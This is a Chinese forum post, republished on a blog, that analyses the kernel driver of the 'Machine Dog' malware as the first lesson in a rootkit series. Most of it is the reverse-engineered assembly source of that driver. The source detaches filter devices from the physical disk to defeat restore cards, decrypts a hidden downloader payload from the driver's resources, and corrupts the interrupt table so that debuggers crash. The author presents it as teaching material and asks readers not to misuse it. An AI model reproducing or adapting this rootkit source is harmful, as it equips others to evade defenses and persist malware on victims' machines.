• RootKit 应用之[一] object hook


    : RootKit 应用之[] object hook
    : combojiang
    : 2008-01-08,11:43
    : http://bbs.pediy.com/showthread.php?t=57900

    今天是200818号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook.

    这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。但是从学习角度来讲,这里面rootkit的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们rootkit的开篇来讲。希望大家不要将代码用于他途。

    对于这个rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。。。。。。

    信息隐藏亮点之一: rootkit作为资源隐藏于用户模式程序之中
                
    亮点之二: 将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。
               
    亮点之三:用一个固定的KEY,通过某种运算,产生出1024个密钥组成的数组。
                             
    然后用这个密钥组与用户代码进行运算,最终生成一个4字节的解码KEY
                             
    利用解码KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的
                            
    下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后
                            
    还要把痕迹擦得一干二净。
              
    亮点之四:修改idt 0e号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到
                            
    反调试的功能。

    这些亮点仅仅是rootkit中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。好了,我们言归正传。

    突破还原卡原理:在这里他使用的就是object hook大法。

    1
    IRP_MJ_CREATE例程负责得到磁盘设备对象,调用IoGetDeviceObjectPointer函数得到设备名“""Device""Harddisk0""DR0的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。

    2
    IRP_MJ_CLOSE 中对恢复DR0上的附加,做到来无影去无踪。

    分析了这么多,我们来看逆向的代码:
    .386
    .model flat, stdcall
    option casemap:none

    include pcihdd.inc

    .data
      aDevicePhysical  db '"Device"PhysicalHardDisk0',0
      aDosdevicesPhys  db '"DosDevices"PhysicalHardDisk0',0
      SourceString db  '"Device"Harddisk0"DR0',0
      g_DeviceObject dd  0
      g_AttachedDevice dd  0
      DecodeKey dd  1024 dup (0)
      DecodeKEY dd  0
      P dd 0
      NumberOfBytes dd 0
      IDTData db 6 dup(0)
      Format db '%08X',0

    .code

    ;*******************************************************************************
    产生一个解密密钥数组
    ;*******************************************************************************
    CreateDecodeKey proc
      jmp  short $+2 ;
    花指令
      mov  ecx, 100h
      mov  edx, 0CCECC9B1h  ;KEY
      
    OutLoop:
      lea  eax, [ecx-1] 
      push  ecx
      mov  ecx, 8
      
    InLoop:
      shr  eax, 1 
      jnb  ContinueLoop
      xor  eax, edx
      
    ContinueLoop:
      dec  ecx
      jnz  InLoop
      pop  ecx
      mov  DecodeKey[ecx*4], eax ;
    保存解密密钥数组
      dec  ecx
      jnz  OutLoop
      retn
    CreateDecodeKey endp

    ;*****************************************************************************
    将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密KEY,
    解密KEY将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户.(start)
    ;*****************************************************************************
    DecodeInputData proc  near
      jmp  short $+2 ;
    花指令
      mov  eax, 0FFFFFFFFh
      or  ebx, ebx   ;
    判断IRP.AssociatedIrp.SystemBuffer是否为空
      jz  Quit
      
    @@:
      mov  dl, [ebx]
      xor  dl, al
      movzx  edx, dl
      shr  eax, 8
      xor  eax, DecodeKey[edx*4]
      inc  ebx
      dec  ecx
      jnz  @B
      
    Quit:
      not  eax
      retn
    DecodeInputData endp



    ;************************************************************************
    在第三级资源中取出资源信息,成功后,返回取出的资源长度
    ;************************************************************************

    SearchResourceByIDInThirdLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
      LOCAL RetValue:dword  
      pusha
      xor  eax, eax
      mov  RetValue, eax
      mov  esi, ChildResource
      mov  cx, [esi+0Ch];
    以名称命名的入口数量
      add  cx, [esi+0Eh];
    ID命名的入口数量
      movzx  ecx, cx
      add  esi, 10h ;esi
    指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
      
      cmp  ecx, 0
      jbe  Quit
      mov  ebx, [esi+4] ;offsetToData
    目录项指针
      and  ebx, 7FFFFFFFh
      add  ebx, ResourceAddr ;ebx
    指向IMAGE_RESOURCE_DATA_ENTRY结构
      mov  eax, [ebx]  ;
    取资源数据的RVA ,对应于IMAGE_RESOURCE_DATA_ENTRY结构中的第一项
      add  eax, PEHeader
      mov  ecx, pOutValue ;pOutValue
    指向资源数据的地址
      mov  [ecx], eax
      mov  ecx, [ebx+4]
      mov  RetValue, ecx ;
    返回资源数据的长度
      
    Quit:
      popa
      mov  eax, RetValue
      retn
    SearchResourceByIDInThirdLayer endp



    ;************************************************************************
    在第二级资源中查找IDChildResID的资源项
    ;************************************************************************
    SearchResourceByIDInSecondLayer proc  PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
      
      LOCAL RetValue:dword
      pusha
      xor  eax, eax
      mov  RetValue, eax
      mov  esi, ChildResource
      mov  cx, [esi+0Ch] ;
    以名称命名的入口数量
      add  cx, [esi+0Eh] ;
    ID命名的入口数量
      movzx  ecx, cx
      add  esi, 10h      ;esi
    指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
      jmp  StartSearchChildDirectoryEntry
      
    ContinueSearchChildDirectoryEntry:
      push  ecx
      mov  ebx, [esi+4] ;offsetToData
    目录项指针
      test  ebx, 80000000h
      jz  JumpOver ;; 
    如果最高31位为0,则跳过,继续读下一条目录项
      and  ebx, 7FFFFFFFh
      add  ebx, ResourceAddr ;
    否则取下一层地址
      mov  edx, [esi] ;
    取目录项字符串指针或者ID
      test  edx, 80000000h
      jnz  JumpOver  ;
    如果31位为1的话,[esi]低位代表字符串指针
      cmp  edx, ChildResID
      jnz  JumpOver
      push  pOutValue
      push  ebx
      push  ResourceAddr
      push  PEHeader
      call  SearchResourceByIDInThirdLayer
      mov  RetValue, eax
      or  eax, eax
      jz  JumpOver
      pop  ecx
      jmp  Quit
      
    JumpOver:
      add  esi, 8
      pop  ecx
      dec  ecx
      
    StartSearchChildDirectoryEntry:
      cmp  ecx, 0
      ja  ContinueSearchChildDirectoryEntry
      
    Quit:
      popa
      mov  eax, RetValue
      retn
    SearchResourceByIDInSecondLayer endp



    ;******************************************************************************************
    在第一级资源中搜索IDRESOURCEID的资源
    ;******************************************************************************************

    SearchResourceByIDInFirstLayer proc  PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
        LOCAL retvalue:dword 
      LOCAL ResourceAddr:dword
      
      pusha
      xor  eax, eax
      mov  retvalue, eax
      mov  edi, PEHeader
      mov  edi, [edi+3Ch]
      add  edi, PEHeader
      mov  ecx, [edi+8Ch] ;
    资源表大小
      or  ecx, ecx
      jz  QUIT
      mov  eax, [edi+88h] ;
    资源表RVA
      add  eax, PEHeader
      mov  ResourceAddr, eax
      push  eax    ; VirtualAddress
      call  MmIsAddressValid
      or  eax, eax
      jnz  @F
      jmp  QUIT
      
    @@:
      mov  esi, ResourceAddr
      mov  cx, [esi+0Ch];
    以名称命名的入口数量
      add  cx, [esi+0Eh];
    ID命名的入口数量
      movzx  ecx, cx
      add  esi, 10h     ;esi
    指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
      jmp  StartSearchDirectoryEntry
      
    ContinueSearchDirectoryEntry:
      push  ecx
      mov  ebx, [esi+4]  ;offsetToData
    目录项指针
      test  ebx, 80000000h
      jz  JumpOver ; 
    如果最高31位为0,则跳过,继续读下一条目录项
      and  ebx, 7FFFFFFFh
      add  ebx, ResourceAddr ;
    保存下一层地址
      mov  eax, [esi];
    取目录项字符串指针或者ID
      test  eax, 80000000h
      jnz   JumpOver ;
    如果31位为1的话,[esi]低位代表字符串指针
      cmp  eax, RESOURCEID
      jnz  JumpOver
      push  pOutValue ;
    找到匹配的资源ID
      push  ChildResID
      push  ebx
      push  ResourceAddr
      push  PEHeader
      call  SearchResourceByIDInSecondLayer
      mov  retvalue, eax
      pop  ecx
      jmp  QUIT
      
    JumpOver:
      add  esi, 8 ;
    继续读下一条目录项
      pop  ecx
      dec  ecx
      
    StartSearchDirectoryEntry:
      cmp  ecx, 0 ;
    判断目录块是否遍历完毕
      ja  ContinueSearchDirectoryEntry 
      
    QUIT:
      popa
      mov  eax, retvalue
      retn
    SearchResourceByIDInFirstLayer endp



    ; ************************************************************************
    ;  
    获取当前驱动文件的内存加载位置,如果没找到,返回0
    ;*************************************************************************

    GetPeHeader proc  near

      LOCAL PEStart:dword
      pusha
      mov  PEStart, 0
      
    CURRENT_EIP:
      lea  ebx, CURRENT_EIP
      and  ebx, 0FFFFFC00h ; 
    将低10位清零
      
    CHECKPEHEADER:    ; VirtualAddress
      push  ebx
      call  MmIsAddressValid  ;
    判断当前地址是否有效
      or  eax, eax              
      jz  QUIT           ;
    不成功则跳转退出
      cmp  ebx, 80000000h ;
    如果当前的eip小于等于80000000h,则退出
      jbe  QUIT
      cmp  word ptr [ebx],  5A4Dh ; 'MZ'
      jnz  SEARCHDOSHEADER
      mov  edi, ebx
      add  edi, [ebx+3Ch]
      push  edi    ; VirtualAddress
      call  MmIsAddressValid
      or  eax, eax
      jz  SEARCHPEHEADER
      cmp  word ptr [edi],  4550h ;'PE'
      jnz  SEARCHPEHEADER
      mov  PEStart, ebx
      jmp  QUIT
      
    SEARCHPEHEADER:
      sub  ebx, 400h
      jmp  CHECKPEHEADER
      jmp  QUIT
      
    SEARCHDOSHEADER:
      sub  ebx, 400h
      jmp  CHECKPEHEADER
      
    QUIT:
      popa
      mov  eax, PEStart
      retn
    GetPeHeader endp



    ; ***************************************************************************
    检查9号中断描述符和E号中断描述符的偏移地址高位字节,如果9号中断描述符的
    偏移地址高位字节为0,则退出,若不为0,则判断E号中断描述符的偏移地址高位字节
    9号中断描述符偏移地址高位字节进行比对,若两者相等,则退出。否则设置E号中断
    描述符的偏移地址高16位为0.使其指向一个错误的地址。破坏该中断的功能。
    由于很多调式器会挂接中断0xE,该Rootkit这样做可以使该程序在调式时造成系统蓝屏。
    因此这是作者设置的反调式陷阱。
    ;****************************************************************************

    AntiDebug proc  near
      LOCAL nTemp:dword
      pusha
      sidt  fword ptr IDTData         
      mov  esi, dword ptr IDTData+2  ;
    取基地址
      mov  eax, 9                    ;index = 9, #interrupt 09
      shl  eax, 3                    ;
    每个描述符占8字节
      add  esi, eax                  ;esi
    指向9号描述符            
      movzx  eax, word ptr [esi+6]     ;
    取中断函数高16位偏移地址
      shl  eax, 10h
      mov  ax, [esi]                 ;
    取中断函数低16位偏移地址
      and  eax, 0FF000000h           ;
    取偏移地址的一个高字节
      mov  nTemp, eax
      test  eax, eax
      jz  QUIT
      mov  esi, dword ptr IDTData+2 ;
    取基地址
      mov  eax, 0Eh                 ;index = E, #interrupt 0E
      shl  eax, 3                   ;
    每个描述符占8字节
      add  esi, eax                 ;esi
    指向E号描述符   
      movzx  eax, word ptr [esi+6]    ;
    取中断函数高16位偏移地址
      shl  eax, 10h
      mov  ax, [esi]                ;
    取中断函数低16位偏移地址
      and  eax, 0FF000000h          ;
    取偏移地址的一个高字节
      cmp  eax, nTemp               ;
    比较这两个中断描述符中的偏移地址高位字节
      jz  QUIT
      mov  word ptr [esi+6], 0   ;
    改中断门偏移地址,设置高16位为0
      
    QUIT:
      popa
      retn
    AntiDebug endp


    ;************************************************************************************
    ;  
    处理IRP_MJ_DEVICE_CONTROLIRP_MJ_CREATEIRP_MJ_CLOSE请求
    ;  IRP_MJ_CREATE
    例程负责得到磁盘设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
    ;  
    调用IoGetDeviceObjectPointer函数得到设备名“""Device""Harddisk0""DR0的设备对象。
    ;  IRP_MJ_CLOSE 
    中对恢复DR0上的附加
    ;  IRP_MJ_DEVICE_CONTROL
    中对0xF0003C04作出响应,首先根据一个固定KEY产生一个解密数组,然后
    ;  
    把用户输入的代码跟解密数组运算,最终产生一个密钥,最后,用这个密钥解密前面找出的sys资源,将
    ;  
    解密后的内容返给用户程序。
    ;************************************************************************************
    DispatchFunction proc device:dword,pIrp:dword

      LOCAL ObjectName:UNICODE_STRING
      LOCAL DestinationString:OEM_STRING
      LOCAL FileObject:dword
      LOCAL DeviceObject:dword
      
      push  edi
      push  esi
      push  ebx
      mov  edi, pIrp
      mov  dword ptr [edi+1Ch], 0 ;
    IRP中的IoStatus置零,这个结构体见ntddk.inc
      mov  dword ptr [edi+18h], 0
      
      mov  esi, [edi+60h] ;
    IRP.CurrentStackLocation
      movzx  eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
      or  eax, eax
      jnz  IRPMJCLOSE
      jmp  short $+2          ;
    花指令
      
      ;IRP_MJ_CREATE
    请求,IRP_MJ_CREATE中会断开"Device"Harddisk0"DR0上附加的设备.
      push  offset SourceString ; """Device""Harddisk0""DR0"
      lea  eax, DestinationString
      push  eax    ; DestinationString
      call  RtlInitAnsiString
      push  1    ; AllocateDestinationString
      lea  eax, DestinationString
      push  eax    ; SourceString
      lea  eax, ObjectName
      push  eax    ; DestinationString
      call  RtlAnsiStringToUnicodeString
      xor  eax, eax
      mov  FileObject, eax
      mov  DeviceObject, eax
      lea  eax, DeviceObject
      push  eax    ; DeviceObject
      lea  eax, FileObject
      push  eax    ; FileObject
      push  80h    ; DesiredAccess
      lea  eax, ObjectName
      push  eax    ; ObjectName
      call  IoGetDeviceObjectPointer
      mov  eax, FileObject
      jmp  short $+2 ;
    花指令
      mov  eax, [eax+4] ;FILE_OBJECT.DeviceObject 
    ntddk.inc
      mov  g_DeviceObject, eax
      cmp  dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
      jz  ClearAttachedDevice
      jmp  short $+2 ;
    花指令
      mov  ecx, [eax+10h]
      xchg  ecx, g_AttachedDevice
      mov  [eax+10h], ecx
      
    ClearAttachedDevice:
      push  FileObject
      call  ObDereferenceObject
      lea  eax, ObjectName
      push  eax    ; UnicodeString
      call  RtlFreeUnicodeString
      jmp  Quit
      
    IRPMJCLOSE:
      cmp  eax, 2
      jnz  IRPMJDEVICECONTROL
      mov  eax, g_DeviceObject
      or  eax, eax
      jz  Quit
      mov  ecx, g_AttachedDevice
      or  ecx, ecx
      jz  NoAttachedDevice
      mov  [eax+10h], ecx
      
    NoAttachedDevice:
      jmp  Quit
      
    IRPMJDEVICECONTROL:
      cmp  eax, 0Eh
      jnz  Quit
      mov  eax, [esi+0Ch];  IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
      cmp  eax, 0F0003C04h ;
    判断是否是应用端传进的ctlcode
      jnz  Quit
      call  CreateDecodeKey
      mov  ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
      mov  ecx, [esi+8]   ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
      call  DecodeInputData
      mov  DecodeKEY, eax
      push  DecodeKEY
      push  offset Format  ; "%08X"
      call  DbgPrint
      add  esp, 8
      mov  eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
      cmp  eax, NumberOfBytes
      jbe  Quit
      
      mov  edi, [edi+3Ch];IRP.UserBuffer
      mov  esi, P
      mov  ecx, NumberOfBytes
      shr  ecx, 2
      
    DecodeResource:  ;
    将资源内容解密输出,反馈给用户
      lodsd
      xor  eax, DecodeKEY
      stosd
      dec  ecx
      jnz  DecodeResource
      mov  ecx, NumberOfBytes
      and  ecx, 3
      rep movsb
      
    Quit:
      push  0
      push  pIrp
      call  IoCompleteRequest
      mov  eax, 0
      pop  ebx
      pop  esi
      pop  edi
      retn
    DispatchFunction endp


    ;******************************************************************
    ; UnLoad
    例程
    ;******************************************************************
    PCIHDDUnload proc pDriverObject :dword

      LOCAL DestinationString:OEM_STRING
      LOCAL SymbolicLinkName:UNICODE_STRING
      
      push  edi
      push  esi
      push  ebx
      pusha
      cmp  P, 0
      jz  CONTINUE
      push  P    ; P
      call  ExFreePool ;
    释放内存
      
    CONTINUE:
      cmp  pDriverObject, 0  
      jz  QUIT
      push  offset aDosdevicesPhys ; """DosDevices""PhysicalHardDisk0"
      lea  eax, DestinationString
      push  eax    ; DestinationString
      call  RtlInitAnsiString
      push  1    ; AllocateDestinationString
      lea  eax, DestinationString
      push  eax    ; SourceString
      lea  eax, SymbolicLinkName
      push  eax    ; DestinationString
      call  RtlAnsiStringToUnicodeString
      lea  eax, SymbolicLinkName
      push  eax    ; SymbolicLinkName
      call  IoDeleteSymbolicLink
      lea  eax, SymbolicLinkName
      push  eax    ; UnicodeString
      call  RtlFreeUnicodeString
      mov  edi, pDriverObject
      mov  esi, [edi+4]   ;DeviceObject
      jmp  IsDeviceExist
      
    DELETEDEVICE:
      mov  edi, [esi+0Ch];DriverObject
      push  esi    ; DeviceObject
      call  IoDeleteDevice
      mov  esi, edi
      
    IsDeviceExist:
      or  esi, esi
      jnz  DELETEDEVICE
      
    QUIT:
      popa
      pop  ebx
      pop  esi
      pop  edi
      retn
    PCIHDDUnload endp



    ; **********************************************************************
    这里是驱动程序的入口处
    ; **********************************************************************
    public start
    start proc near

      LOCAL nTemp:dword
      LOCAL DestinationString:OEM_STRING
      LOCAL DeviceObject:dword
      LOCAL SymbolicLinkName:UNICODE_STRING
      LOCAL DeviceName:UNICODE_STRING
      LOCAL DriverObject:dword
      
      push  edi
      push  esi
      push  ebx
      pusha
      nop
      nop
      call  AntiDebug ;
    反调试
      call  GetPeHeader
      or  eax, eax
      jz  QUIT ;
    没找到当前驱动内存加载位置
      mov  ecx, eax
      lea  eax, nTemp
      push  eax
      push  3E8h
      push  3E8h
      push  ecx
      call  SearchResourceByIDInFirstLayer
      or  eax, eax
      jz  QUIT
      mov  NumberOfBytes, eax
      push  NumberOfBytes  ; NumberOfBytes
      push  0    ; PoolType
      call  ExAllocatePool ;
    根据资源长度申请内存
      mov  P, eax
      jmp  short $+2 ;
    花指令
      mov  edi, P
      mov  esi, nTemp
      mov  ecx, NumberOfBytes
      rep movsb   ;
    将资源拷贝到缓冲区
      jmp   ContinueWork
      
    QUIT:
      popa
      xor  eax, eax
      dec  eax
      pop  ebx
      pop  esi
      pop  edi
      retn
      
    ContinueWork:
      jmp  short $+2 ;
    花指令
      mov  eax, DriverObject
      mov  dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
      lea  edi, [eax+38h]    ;edi
    指向MajorFunction
      lea  eax, DispatchFunction
      mov  [edi], eax     ;IRP_MJ_CREATE          EQU    0
      mov  [edi+8], eax   ;IRP_MJ_CLOSE          equ   2
      mov  [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL  equ   0Eh  
    ntddk.inc
      
      push  offset aDevicePhysical ; """Device""PhysicalHardDisk0"
      lea  eax, DestinationString
      push  eax    ; DestinationString
      call  RtlInitAnsiString
      push  1    ; AllocateDestinationString
      lea  eax, DestinationString
      push  eax    ; SourceString
      lea  eax, DeviceName
      push  eax    ; DestinationString
      call  RtlAnsiStringToUnicodeString
      push  offset aDosdevicesPhys ; """DosDevices""PhysicalHardDisk0"
      lea  eax, DestinationString
      push  eax    ; DestinationString
      call  RtlInitAnsiString
      push  1    ; AllocateDestinationString
      lea  eax, DestinationString
      push  eax    ; SourceString
      lea  eax, SymbolicLinkName
      push  eax    ; DestinationString
      call  RtlAnsiStringToUnicodeString
      lea  eax, DeviceObject
      push  eax    ; DeviceObject
      push  0    ; Exclusive
      push  0    ; DeviceCharacteristics
      push  15h    ; DeviceType
      lea  eax, DeviceName
      push  eax    ; DeviceName
      push  0    ; DeviceExtensionSize
      push  DriverObject; DriverObject
      call  IoCreateDevice ;
    创建设备
      or  eax, eax
      jz  CreateDeviceSucess
      jmp   Quit
      
    CreateDeviceSucess:
      lea  eax, DeviceName
      push  eax    ; DeviceName
      lea  eax, SymbolicLinkName
      push  eax    ; SymbolicLinkName
      call  IoCreateSymbolicLink ;
    创建符号链接
      or  eax, eax
      jz  Quit
      mov  edi, DriverObject
      mov  esi, [edi+4]      ;DRIVER_OBJECT.DeviceObject
      jmp  StartCycle
      
    ContinueDeleteDevice:
      mov  edi, [esi+0Ch]   ;DEVICE_OBJECT.DriverObject
      push  esi         ; DeviceObject
      call  IoDeleteDevice
      mov  esi, edi
      
    StartCycle:
      or  esi, esi
      jnz  ContinueDeleteDevice
      jmp  short $+2 ;
    花指令 ,执行退出指令
      
    Quit:
      lea  eax, DeviceName
      push  eax    ; UnicodeString
      call  RtlFreeUnicodeString
      lea  eax, SymbolicLinkName
      push  eax    ; UnicodeString
      call  RtlFreeUnicodeString
      popa
      xor  eax, eax
      pop  ebx
      pop  esi
      pop  edi
      retn
    start endp

    end start


    声明:本贴仅用于学习用途,转贴须声明来自看雪。
    友情提示:
        
    阅读本贴之前要详细了解驱动相关的几个结构体,并好好看看驱动版块最近两天发表的几个帖子。

    在一般情况下,某事物个体发生具有其特有属性的负面现象,且无法以科学的角度得到合理有效的解释。我们通常称此类现象为“人品问题”(RPWT)。
                                                   ——摘自《辞海》第314页

  • 相关阅读:
    WEB UI 整理
    RAT
    client 控制
    SiMay 远控
    SSH/SOCKS成为全局代理
    BypassAntiVirus
    QuasarRAT 使用
    从 Qt 的 delete 说开来
    Spectrum Analyzer test.cpp Example File
    windows下C/C++的内存泄露检测
  • 原文地址:https://www.cnblogs.com/dflower/p/1572516.html
Copyright © 2020-2023  润新知